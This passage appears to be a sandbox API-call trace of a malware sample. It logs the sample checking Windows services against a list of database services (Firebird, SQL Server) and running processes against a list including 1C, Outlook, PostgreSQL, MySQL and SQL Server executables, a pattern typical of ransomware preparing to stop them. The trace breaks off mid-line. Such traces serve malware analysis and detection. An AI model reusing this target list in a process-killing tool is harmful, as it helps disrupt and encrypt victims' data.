[0045.315] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.315] lstrlenW (lpString="AudioSrv") returned 8 [0045.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.315] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.315] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.315] lstrlenW (lpString="BFE") returned 3 [0045.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.315] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.315] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.316] lstrlenW (lpString="CryptSvc") returned 8 [0045.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.316] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.316] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.316] lstrlenW (lpString="CscService") returned 10 [0045.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.316] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.316] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.316] lstrlenW (lpString="DcomLaunch") returned 10 [0045.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.316] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.316] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.316] lstrlenW (lpString="Dhcp") returned 4 [0045.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.316] lstrlenW (lpString="Dnscache") returned 8 [0045.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.316] lstrlenW (lpString="DPS") returned 3 [0045.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.316] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.317] lstrlenW (lpString="eventlog") returned 8 [0045.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.317] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.317] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.317] lstrlenW (lpString="EventSystem") returned 11 [0045.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.317] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.317] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.317] lstrlenW (lpString="gpsvc") returned 5 [0045.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.317] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.317] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.317] lstrlenW (lpString="iphlpsvc") returned 8 [0045.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.317] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.317] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.317] lstrlenW (lpString="LanmanServer") returned 12 [0045.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.317] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.317] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.318] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.318] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.318] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.318] lstrlenW (lpString="lmhosts") returned 7 [0045.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.318] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.318] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.318] lstrlenW (lpString="MMCSS") returned 5 [0045.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.318] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.318] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.318] lstrlenW (lpString="MpsSvc") returned 6 [0045.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.318] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.318] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.318] lstrlenW (lpString="Netman") returned 6 [0045.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.318] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.318] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.318] lstrlenW (lpString="netprofm") returned 8 [0045.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.318] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.319] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.319] lstrlenW (lpString="NlaSvc") returned 6 [0045.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.319] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.319] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.319] lstrlenW (lpString="nsi") returned 3 [0045.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.319] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.319] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.319] lstrlenW (lpString="PcaSvc") returned 6 [0045.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.319] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.319] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.319] lstrlenW (lpString="PlugPlay") returned 8 [0045.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.319] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.319] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.319] lstrlenW (lpString="Power") returned 5 [0045.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.319] lstrlenW (lpString="ProfSvc") returned 7 [0045.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.320] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.320] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.320] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.320] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.320] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.320] lstrlenW (lpString="RpcSs") returned 5 [0045.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.320] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.320] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.320] lstrlenW (lpString="SamSs") returned 5 [0045.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.320] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.320] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.320] lstrlenW (lpString="Schedule") returned 8 [0045.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.320] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.320] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.320] lstrlenW (lpString="SENS") returned 4 [0045.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.320] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.321] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.321] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.321] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.321] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.321] lstrlenW (lpString="Spooler") returned 7 [0045.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.321] lstrlenW (lpString="swprv") returned 5 [0045.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0045.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0045.321] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0045.321] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0045.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0045.321] lstrlenW (lpString="SysMain") returned 7 [0045.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.321] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.321] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0045.321] lstrlenW (lpString="Themes") returned 6 [0045.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0045.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0045.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0045.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0045.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0045.321] lstrlenW (lpString="TrkWks") returned 6 [0045.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0045.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0045.322] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0045.322] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0045.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0045.322] lstrlenW (lpString="UxSms") returned 5 [0045.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0045.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0045.322] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0045.322] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0045.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0045.322] lstrlenW (lpString="VSS") returned 3 [0045.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0045.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0045.322] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0045.322] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0045.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0045.322] lstrlenW (lpString="WdiServiceHost") returned 14 [0045.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.322] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0045.322] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0045.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0045.322] lstrlenW (lpString="WdiSystemHost") returned 13 [0045.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.322] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0045.322] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0045.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0045.322] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0045.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.322] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0045.322] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0045.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0045.322] lstrlenW (lpString="Winmgmt") returned 7 [0045.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0045.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0045.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0045.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0045.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0045.323] lstrlenW (lpString="WPDBusEnum") returned 10 [0045.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.323] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0045.323] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0045.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0045.323] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0045.323] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0045.325] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.326] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.326] lstrlenW (lpString="System") returned 6 [0045.326] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0045.326] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0045.326] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0045.326] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0045.326] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0045.326] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0045.327] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0045.327] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.327] lstrlenW (lpString="smss.exe") returned 8 [0045.327] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0045.327] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0045.327] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0045.327] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0045.327] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0045.327] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0045.327] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0045.327] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.328] lstrlenW (lpString="csrss.exe") returned 9 [0045.328] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0045.328] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0045.328] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0045.328] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0045.328] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0045.329] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0045.329] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0045.329] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.329] lstrlenW (lpString="wininit.exe") returned 11 [0045.329] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0045.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0045.329] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0045.330] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.330] lstrlenW (lpString="csrss.exe") returned 9 [0045.330] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.331] lstrlenW (lpString="winlogon.exe") returned 12 [0045.331] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.332] lstrlenW (lpString="services.exe") returned 12 [0045.332] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.332] lstrlenW (lpString="lsass.exe") returned 9 [0045.332] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0045.333] lstrlenW (lpString="lsm.exe") returned 7 [0045.333] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.334] lstrlenW (lpString="svchost.exe") returned 11 [0045.334] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: 